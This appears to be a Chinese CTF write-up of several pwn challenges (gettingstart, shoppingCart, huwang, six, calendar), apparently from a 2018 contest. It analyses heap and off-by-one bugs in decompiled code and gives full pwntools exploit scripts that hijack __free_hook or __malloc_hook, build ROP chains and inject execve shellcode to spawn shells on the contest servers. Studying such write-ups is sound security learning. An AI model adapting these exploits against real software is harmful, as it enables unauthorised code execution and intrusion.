照例先放图:
gettingstart 签到题
1 2 3 4 5 from pwn import *p = remote('117.78.40.144' , 32671 ) p.send('a' *0x18 + p64(0x7FFFFFFFFFFFFFFF ) + p64(0x3FB999999999999A )) p.interactive()
题目及漏洞分析 题目包含了两个结构体,money和good
1 2 3 4 5 6 7 8 9 10 11 00000000 money struc ; (sizeof=0x10, mappedto_6) 00000000 name dq ? 00000008 sum dq ? 00000010 money ends 00000010 00000000 ; --------------------------------------------------------------------------- 00000000 00000000 good_chunk struc ; (sizeof=0x10, mappedto_7) 00000000 mem_ptr dq ? 00000008 sum dq ? 00000010 good_chunk ends
其中区别是money的name指向bss段,而good指向堆空间,二者的结构体都是通过malloc(0x10)得到的。
而在这个程序的bss段上,关于money_name、money_list、good_list的排布如下:
1 2 3 4 5 6 7 8 9 .bss:0000000000202090 bss_good_num dq ? ; DATA XREF: add+17↑r .bss:0000000000202090 ; add+E1↑r ... .bss:0000000000202098 bss_num dq ? ; DATA XREF: getmoney+8↑r .bss:00000000002020A0 ; char bss_name[160] .bss:00000000002020A0 bss_name db 0A0h dup(?) ; DATA XREF: getmoney+62↑o .bss:0000000000202140 bss_list dd ? ; DATA XREF: .bss:00000000002021E0 ; void **bss_good_list[20] .bss:00000000002021E0 bss_good_list dq 14h dup(?) ; DATA XREF: add+FB↑o .bss:00000000002021E0 ; free_chunk+24↑o ...
题目提供了对money的add功能。对good的add、edit、free功能。
而漏洞在于edit函数中,其中缺少对修改偏移的check,这个位置存在整数溢出漏洞。当可以找到一个位置满足题目中定义的这种链式结构就可以达到任意内存写。
并且可以注意到此处写0时存在一个null-off-by-one。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned __int64 edit () { unsigned __int64 v0; __int64 v1; char s; unsigned __int64 v4; v4 = __readfsqword(0x28 u); puts ("Which goods you need to modify?" ); fgets(&s, 0x18 , stdin ); v0 = strtoul(&s, 0L L, 0 ); printf ("OK, what would you like to modify %s to?\n" , *bss_good_list[v0], v0); *((_BYTE *)*bss_good_list[v1] + read(0 , *bss_good_list[v1], 8u LL)) = 0 ; return __readfsqword(0x28 u) ^ v4; }
另外,在add()函数中,当malloc(0)时,会返回一个0x20的块,并且向mem_ptr-1的位置,即size写入\0,而不影响堆块内存中原有的数据。这样当malloc(0)的堆块是从unsorted bin中分出来的,就存在脏数据来泄露libc地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 unsigned __int64 add () { unsigned __int64 size; good_chunk *good_ptr; __int64 v2; char s; unsigned __int64 v5; v5 = __readfsqword(0x28 u); if ( (unsigned __int64)bss_good_num <= 0x13 ) { puts ("How long is your goods name?" ); fgets(&s, 24 , stdin ); size = strtoul(&s, 0L L, 0 ); good_ptr = (good_chunk *)malloc (0x10 uLL); good_ptr->sum = 999L L; good_ptr->mem_ptr = (__int64)malloc (size); puts ("What is your goods name?" ); *(_BYTE *)((signed int )read(0 , (void *)good_ptr->mem_ptr, size) - 1L L + good_ptr->mem_ptr) = 0 ; v2 = bss_good_num++; bss_good_list[v2] = (void **)good_ptr; } else { puts ("Your shopping cart is full now!" ); } return __readfsqword(0x28 u) ^ v5; }
漏洞利用 我想我这种利用方法大概是一种非预期(?),虽然很复杂。。
首先,将money填满(共20个),这样money_name和money_list两块就会相连,然后编辑最后一个money,会导致一位溢出,使得第一个money_list最低位被赋值为0,即堆空间指向低地址。
未覆盖前如下图:
覆盖后如下图:
而这块内存指向哪里呢?
指向一个大小为0x1010的内存块里,这个内存块是什么呢?
由于题目中没有setvbuf,又用了fgets,这个内存块是stdin的缓冲区
如果对IO知识有一定了解就会知道,fgets并不是安装其参数的大小调用read函数,具体可以参考https://www.anquanke.com/post/id/86945
因此,如果我们在fgets时输入超长的字符串的话,不但可以控制程序执行流,还可以将moneylist所指向的内存置为\ _free_hook,这样就可以将其劫持为system,在释放时可以触发system(“/bin/sh”)。
远程时,这个堆块并不是0x1010,调试这个大小花了很多功夫….所以我想应该算是一种非预期解法吧。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from pwn import *import timedebug=1 lib = 0 if lib==0 : libc_name = '/lib/x86_64-linux-gnu/libc.so.6' offset = 0x230 one_gadget = [0x45216 ,0x4526a ,0xf0274 ,0xf1117 ] else : libc_name = '/lib/x86_64-linux-gnu/libc.so.6' offset = 0x260 one_gadget = [0x45216 ,0x4526a ,0xef6c4 ,0xf0567 ] context.log_level = 'debug' elf = ELF('./task_shoppingCart' ) if debug: p= process('./task_shoppingCart' ) libc = ELF(libc_name) else : p = remote( '117.78.26.133' , 31666 ) libc = ELF(libc_name) offset = 0x230 def add (size,name) : p.recvuntil("Now, buy buy buy!" ) p.sendline('1' ) p.recvuntil("name?" ) p.sendline(str(size)) p.recvuntil("What is your goods name?" ) p.send(name) def delete (idx) : p.recvuntil("Now, buy buy buy!" ) p.sendline('2' ) p.recvuntil("Which goods that you don't need?" ) p.sendline(str(idx) ) def edit (idx) : p.recvuntil("Now, buy buy buy!" ) p.sendline('3' ) p.recvuntil("Which goods you need to modify?" ) p.sendline(str(idx)) def edit_vul (context) : p.recvuntil("Now, buy buy buy!" ) p.sendline('3' ) p.recvuntil("Which goods you need to modify?" ) p.send(context) if debug: attach(p) for i in range(0x13 ): p.recvuntil("EMMmmm, you will be a rich man!" ) p.sendline('1' ) p.recvuntil("I will give you $9999, but what's the currency type you want, RMB or Dollar?" ) p.sendline('a' *8 ) p.recvuntil("EMMmmm, you will be a rich man!" ) p.sendline('1' ) p.recvuntil("I will give you $9999, but what's the currency type you want, RMB or Dollar?" ) p.sendline('b' *8 ) p.recvuntil("EMMmmm, you will be a rich man!" ) p.sendline('3' ) raw_input() add(0x100 ,'p4nda' ) add(0x70 ,'/bin/sh\0' ) delete(0 ) add(0 ,'' ) edit(2 ) p.recvuntil('OK, what would you like to modify ' ) libc_addr = u64(p.recv(6 ).ljust(8 ,'\0' )) libc.address = libc_addr- 0x10 - 344 -libc.symbols['__malloc_hook' ] p.send('p4nda' ) print '[+] leak' ,hex(libc_addr) print '[+] system' ,hex(libc.symbols['system' ]) edit( (0x202140 +19 *8 - 0x2021E0 )/8 &0xffffffffffffffff ) p.recvuntil('to?' ) p.send('d' *8 ) raw_input() payload = (str((0x202140 - 0x2021E0 )/8 &0xffffffffffffffff )+'\n' ) payload+= (str(2 )+'\n' ) payload+= (str(1 )+'\n' ) if debug: payload = payload.ljust(0x1000 -0x20 ,'a' ) payload+= p64(libc.symbols['__free_hook' ]) else : payload = payload.ljust(0x100 ,'a' ) payload+= p64(libc.symbols['__free_hook' ]) * 0x60 edit_vul(payload) p.recvuntil('to?' ) p.send(p64(libc.symbols['system' ])) p.interactive()
huwang 此题不是我做出的,贴一个w1tcher的EXP吧
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context(arch = 'amd64' , os = 'linux' , endian = 'little' ) context.log_level = 'debug' context.terminal = ['tmux' , 'split' , '-h' ] def sixsixsix (p, name, rd, secret, flag = 1 ) : p.recvuntil('>> \n' ) p.sendline('666' ) p.recvuntil('name\n' ) p.send(name) p.recvuntil('secret?\n' ) p.sendline('y' ) p.recvuntil('secret:\n' ) p.sendline(str(rd)) if flag == 1 : p.recvuntil('secret\n' ) p.send(secret) def GameStart (ip, port, debug) : if debug == 1 : p = process('./huwang' ) else : p = remote(ip, port) sixsixsix(p, 'w1tcher' , -1 , 'w1tcher' , 0 ) p.recvuntil('timeout~' ) if debug == 1 : p = process('./huwang' , env = {'LD_PRELOAD' : './libc.so.6' }) gdb.attach(p, 'b *0x040110D\nc' ) else : p = remote(ip, port) libc = ELF('./libc.so.6' ) sixsixsix(p, 'w1tcher' .ljust(0x19 , 'a' ), 1 , '4ae71336e44bf9bf79d2752e234818a5' .decode('hex' )) p.recvuntil('w1tcher' .ljust(0x19 , 'a' )) canary = u64('\x00' + p.recvn(7 )) p.recvuntil('occupation?\n' ) p.send('a' * 0xff ) p.recvuntil('[Y/N]\n' ) p.sendline('Y' ) shellcode = 'a' * 0x108 + p64(canary) + p64(0 ) shellcode += p64(0x0000000000401573 ) + p64(0x0602F70 ) + p64(0x40101C ) p.send(shellcode) p.recvuntil('Congratulations, ' ) libc_addr = u64(p.recvn(6 ) + '\x00' * 2 ) - libc.symbols['puts' ] p.recvuntil('occupation?\n' ) p.send('a' * 0xff ) p.recvuntil('[Y/N]\n' ) p.sendline('Y' ) shellcode = 'a' * 0x108 + p64(canary) + p64(0 ) shellcode += p64(0x0000000000401573 ) + p64(next(libc.search('/bin/sh' )) + libc_addr) + p64(libc_addr + libc.symbols['system' ]) p.send(shellcode) p.interactive() if __name__ == '__main__' : GameStart('117.78.26.79' , 31399 , 1 )
six 此题恰好之前在看雪论坛上见到过类似的,并且还讨论并且复现了一下,所以就直接用之前的EXP打了,拿了2血。手速还是慢了,不知道是不是和我讨论的师傅拿了一血。
题目分析 题目就是一个6字节的shellcode。
其中,程序申请了两块0x1000的内存,分别用作栈和代码段:
1 2 3 4 5 fd = open("/dev/urandom" , 0 ); read(fd, &buf, 6u LL); read(fd, &v3, 6u LL); dest = mmap((void *)(v3 & 0xFFFFFFFFFFFFF000 LL), 0x1000 uLL, 7 , 34 , -1 , 0L L); qword_202098 = (__int64)mmap((void *)(buf & 0xFFFFFFFFFFFFF000 LL), 0x1000 uLL, 3 , 34 , -1 , 0L L) + 1280 ;
可以看到生成的方法是用/dev/urandom的随机数,第一次在看雪上看到这个生成方法时觉得二者是不可能连在一起的,但是当这两个地址冲突或者不符合条件时,mmap会随机分配这个地址,而当二者均随机分配时,则这两个地址是相连的。这个前提解决了很多问题,节省了很多指令。
而在执行shellcode时,预先将除rsp、rip其他寄存器全部置零了,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 => 0x7f90763a4000: mov rsp,rdi 0x7f90763a4003: xor rbp,rbp 0x7f90763a4006: xor rax,rax 0x7f90763a4009: xor rbx,rbx 0x7f90763a400c: xor rcx,rcx 0x7f90763a400f: xor rdx,rdx 0x7f90763a4012: xor rdi,rdi 0x7f90763a4015: xor rsi,rsi 0x7f90763a4018: xor r8,r8 0x7f90763a401b: xor r9,r9 0x7f90763a401e: xor r10,r10 0x7f90763a4021: xor r11,r11 0x7f90763a4024: xor r12,r12 0x7f90763a4027: xor r13,r13 0x7f90763a402a: xor r14,r14 0x7f90763a402d: xor r15,r15
但当两块内存相连时,如果从rsp进行覆写的话,是可以覆写到代码段的。
因此shellcode如下:
1 2 3 4 0x7f90763a4030 push rsp 0x7f90763a4031 pop rsi 0x7f90763a4032 mov edx, esi 0x7f90763a4034 syscall
如此,便可以从栈上向代码段一直写入,直到写入现在的RIP,将后续指令写为shellcraftsh()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *p =process('./six' ) gdb.attach(p) p.readuntil('shellcode:' ) payload=chr(0x54 )+chr(0x5e )+chr(0x8b )+chr(0xd6 )+chr(0x0F )+chr(0x05 ) p.send(payload) z=[ 0xB8 , 0x3B , 0x00 , 0x00 , 0x00 , 0x48 , 0x8B , 0xFE , 0x48 , 0x81 , 0xC7 , 0x4e , 0x0B , 0x00 , 0x00 , 0x4b , 0x48 ,0x33 , 0xD2 , 0x48 ,0x33 , 0xF6 , 0x0F , 0x05 , 0x2F , 0x62 , 0x69 , 0x6E , 0x2F , 0x73 , 0x68 , 0x00 ]zz='' for i in range(0 ,len(z)): zz+=chr(z[i]) payload='b' *0xb36 +zz p.writeline(payload) p.interactive()
calendar 此题无论从题目给定的条件和hint都说明是House of Roman。
这个利用方法半年以前被提出,主要思路是解决无法泄露地址时,通过低位地址写+爆破的方法来对抗aslr。可以参考https://xz.aliyun.com/t/2316
题目及漏洞分析 题目功能很简单了,提供了add、edit、free三个功能,并且不限制次数,但只提供4个指针位置了。
其中,程序的读取输入函数存在off_by_one漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 __int64 __fastcall read_n_off_by_one (__int64 a1, signed int a2) { char buf; unsigned int i; unsigned __int64 v5; v5 = __readfsqword(0x28 u); for ( i = 0 ; (signed int )i <= a2; ++i ) { if ( (signed int )read(0 , &buf, 1u LL) <= 0 ) { puts ("read error" ); exit (0 ); } if ( buf == 10 ) { *(_BYTE *)((signed int )i + a1) = 0 ; return i; } *(_BYTE *)(a1 + (signed int )i) = buf; } return i; }
而free函数没有置空指针,导致存在UAF漏洞。
漏洞利用 知道了漏洞条件后就利用了,对比最初的House of Roman,题目增加了对内存块大小的限制,大小限制在fastbin中,但是并通过off-by-one + free可以构造unsorted bin。
可以看一下原始的House of Roman是如何利用的:
1 2 3 4 5 6 7 8 9 10 11 1. 首先分配 3 个 chunk (A , B, C) ,大小分别为 0x20, 0xd0, 0x70 2. 在 B + 0x78 处设置 p64(0x61) , 作用是 fake size ,用于后面 的 fastbin attack 释放掉 B , B 进入 unsorted bin , 此时 B+0x10 和 B+0x18 中有 main_arean 的地址 再次分配 0xd0 , 会分配到 B, 此时 B+0x10 和 B+0x18 中 main_arean 的地址依然存在 然后分配 3 个 0x70 的 chunk (D , E, F), 为后续做准备 3. 在 A 触发 单字节溢出,修改 B->size = 0x71 . 然后释放 C , D, 此时 C , D 进入 fastbin , 同时 D->fd = C. 由于 chunk之间的相对偏移固定,于是利用 uaf 修改 D->fd 的低 字节 ,使得 D->fd=B 4. 此时 B->size = 0x71 ,同时 B + 0x78 为 p64(0x61) (第2步设置), 这就成功伪造了一个 0x70 大小的 fastbin。 此时 B->fd 为 main_arean 的地址,于是通过 修改 低 2个字节,可以修改到 malloc_hook - 0x23 处 ( malloc_hook - 0x23 + 0x8 处的值为 p64(0x7f) ) 5. 然后分配 3 次 0x70 的 chunk, 就可以拿到包含 malloc_hook 的 chunk, 此时 malloc_hook 内容为 0 6. 然后利用 unsorted bin 修改 malloc_hook 内容为 main_arean 的地址 7. 利用部分写修改 malloc_hook 为 one_gadget 8. 多次释放一个指针,触发 double free 异常,进而触发 malloc_printerr , getshell
总结一下就是:
1 2 3 1. 通过unsorted bin的分配与释放,再次分配时可以得到main_arena+88这个地址,通过写低字节可以写为__malloc_hook-0x23。 2. 释放当初申请的堆块,通过修改堆块第地址的方法,让修改为__malloc_hook-0x23的堆块进入0x70的fastbin链。因而可以通过malloc得到__malloc_hook-0x23这个堆块 3. 通过unsorted bin attack让__malloc_hook处置为main_arena+88,再通过写低字节,将其写为one_gadget,从而拿到shell。
可以看到最初的aslr随机为是32比特,爆破概率为1/4294967296,而用此方法可将爆破概率提高为1/2**12 = 1/4096。(由one_gadget与main_arena+88偏移决定)
此题由于没有unsorted bin,所以可以用一字节溢出,再释放的方法得到unsorted bin,如下:
1 2 3 4 5 6 7 8 add(0 ,0x68 ) add(0 ,0x68 ) add(0 ,0x18 ) add(1 ,0x68 ) add(2 ,0x68 ) add(3 ,0x68 ) edit(0 ,0x18 ,'a' *0x18 +'\xe1' ) remove(1 )
当得到这个unsorted bin之后,再将其分配出来。
0 ,3 分别是unsorted bin的两部分,2是用于防止合并。
1 2 3 add(0 ,0x68 ) add(3 ,0x68 ) add(2 ,0x68 )
通过对0的低地址写,可以将其fd写为__malloc_hook-0x23。
然后释放3、2两个块,此时fastbin上存在两个块。
1 2 3 edit(0 ,1 ,p64(libc_base+libc.symbols['__malloc_hook' ]-0x23 )[:2 ] ) remove(3 ) remove(2 )
当对2块低地址写,可以将2块的fd指向0块,此时0块进入fastbin,其fd是__malloc_hook-0x23。并且可将__malloc_hook-0x23申请回来,存在3的位置上。
1 2 3 4 5 6 7 edit(2 ,1 ,'\n' ) add(2 ,0x68 ) add(2 ,0x68 ) add(3 ,0x68 ) remove(2 ) edit(2 ,7 ,p64(0 ))
接下来就可以构造unsorted bin attack了。
首先还是同样的方法得到unsorted bin,由于unsorted bin attack 需要满足一些size的检测,因此提前构造堆结构:
1 2 3 4 5 6 7 8 9 10 11 add(0 ,0x68 ) add(0 ,0x18 ) add(1 ,0x68 ) add(2 ,0x68 ) edit(2 ,0x67 ,(p64(0x70 )+p64(0x20 ))*4 +(p64(0x20 )+p64(0x21 ))*2 +'\n' ) add(2 ,0x68 ) edit(0 ,0x18 ,'a' *0x18 +'\xe1' ) remove(1 ) add(0 ,0x18 ) add(0 ,0x18 )
当前的unsorted bin 大小还是很大,由于限制不能分配出来,因此再次将unsorted bin size改成0x71,并且将bk改为__malloc_hook-0x10。
1 2 3 4 edit(0 ,0x18 ,'a' *0x18 +'\x71' ) edit(1 ,0x49 ,'a' *0x18 +p64(0x21 )+'a' *0x18 +p64(0x71 )+'a' *8 + p64(libc_base+libc.symbols['__malloc_hook' ]-0x10 )[:2 ] ) add(0 ,0x68 )
此时,__malloc_hook被写为main_arena+88,再次通过低字节写的方法,将其改为one_gadget,就可以拿到shell了。
1 2 3 4 edit(3 ,0x15 ,'a' *0x13 +p64(libc_base+one_gadget[2 ])[:3 ]) remove(1 ) remove(1 ) p.interactive()
剩下的事情就是爆破看RP了。。。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 from pwn import *import timedebug=1 lib = 0 if lib==0 : libc_name = '/lib/x86_64-linux-gnu/libc.so.6' offset = 0x230 one_gadget = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] else : libc_name = '/lib/x86_64-linux-gnu/libc.so.6' offset = 0x260 one_gadget = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] context.log_level = 'debug' elf = ELF('./task_calendar' ) def z (bp = '' ) : if debug: gdb.attach(p,bp) def get_base (p1) : f = open('/proc/' +str(pidof(p1)[0 ])+'/maps' ,'r' ) while 1 : tmp = f.readline() print tmp if 'libc-2.23.so' in tmp: libc_addr = int('0x' +tmp.split('-' )[0 ],16 ) f.close() break print '[+] libc_addr :' ,hex(libc_addr) return libc_addr if debug: p= process('./task_calendar' ,env={'LD_PRELOAD' :libc_name}) libc_base = get_base(p)&0xffffff libc = ELF(libc_name) else : p = remote( '117.78.26.133' , 31666 ) libc = ELF(libc_name) libc_base = 0xf64000 def add (index, size) : p.recvuntil('choice> ' ) p.sendline('1' ) p.recvuntil('choice> ' ) p.sendline(str(index + 1 )) p.recvuntil('size> ' ) p.sendline(str(size)) def edit (index, size, data) : p.recvuntil('choice> ' ) p.sendline('2' ) p.recvuntil('choice> ' ) p.sendline(str(index + 1 )) p.recvuntil('size> ' ) p.sendline(str(size)) p.recvuntil('info> ' ) p.send(data) def remove (index) : p.recvuntil('choice> ' ) p.sendline('3' ) p.recvuntil('choice> ' ) p.sendline(str(index + 1 )) z('c\n' ) p.recvuntil('input calendar name>' ) p.sendline('p4nda' ) add(0 ,0x68 ) add(0 ,0x68 ) add(0 ,0x18 ) add(1 ,0x68 ) add(2 ,0x68 ) add(3 ,0x68 ) edit(0 ,0x18 ,'a' *0x18 +'\xe1' ) remove(1 ) add(0 ,0x68 ) add(3 ,0x68 ) add(2 ,0x68 ) edit(0 ,1 ,p64(libc_base+libc.symbols['__malloc_hook' ]-0x23 )[:2 ] ) remove(3 ) remove(2 ) edit(2 ,1 ,'\n' ) add(2 ,0x68 ) add(2 ,0x68 ) add(3 ,0x68 ) remove(2 ) edit(2 ,7 ,p64(0 )) add(0 ,0x68 ) add(0 ,0x18 ) add(1 ,0x68 ) add(2 ,0x68 ) edit(2 ,0x67 ,(p64(0x70 )+p64(0x20 ))*4 +(p64(0x20 )+p64(0x21 ))*2 +'\n' ) add(2 ,0x68 ) edit(0 ,0x18 ,'a' *0x18 +'\xe1' ) remove(1 ) add(0 ,0x18 ) add(0 ,0x18 ) edit(0 ,0x18 ,'a' *0x18 +'\x71' ) edit(1 ,0x49 ,'a' *0x18 +p64(0x21 )+'a' *0x18 +p64(0x71 )+'a' *8 + p64(libc_base+libc.symbols['__malloc_hook' ]-0x10 )[:2 ] ) add(0 ,0x68 ) edit(3 ,0x15 ,'a' *0x13 +p64(libc_base+one_gadget[2 ])[:3 ]) remove(1 ) remove(1 ) p.interactive()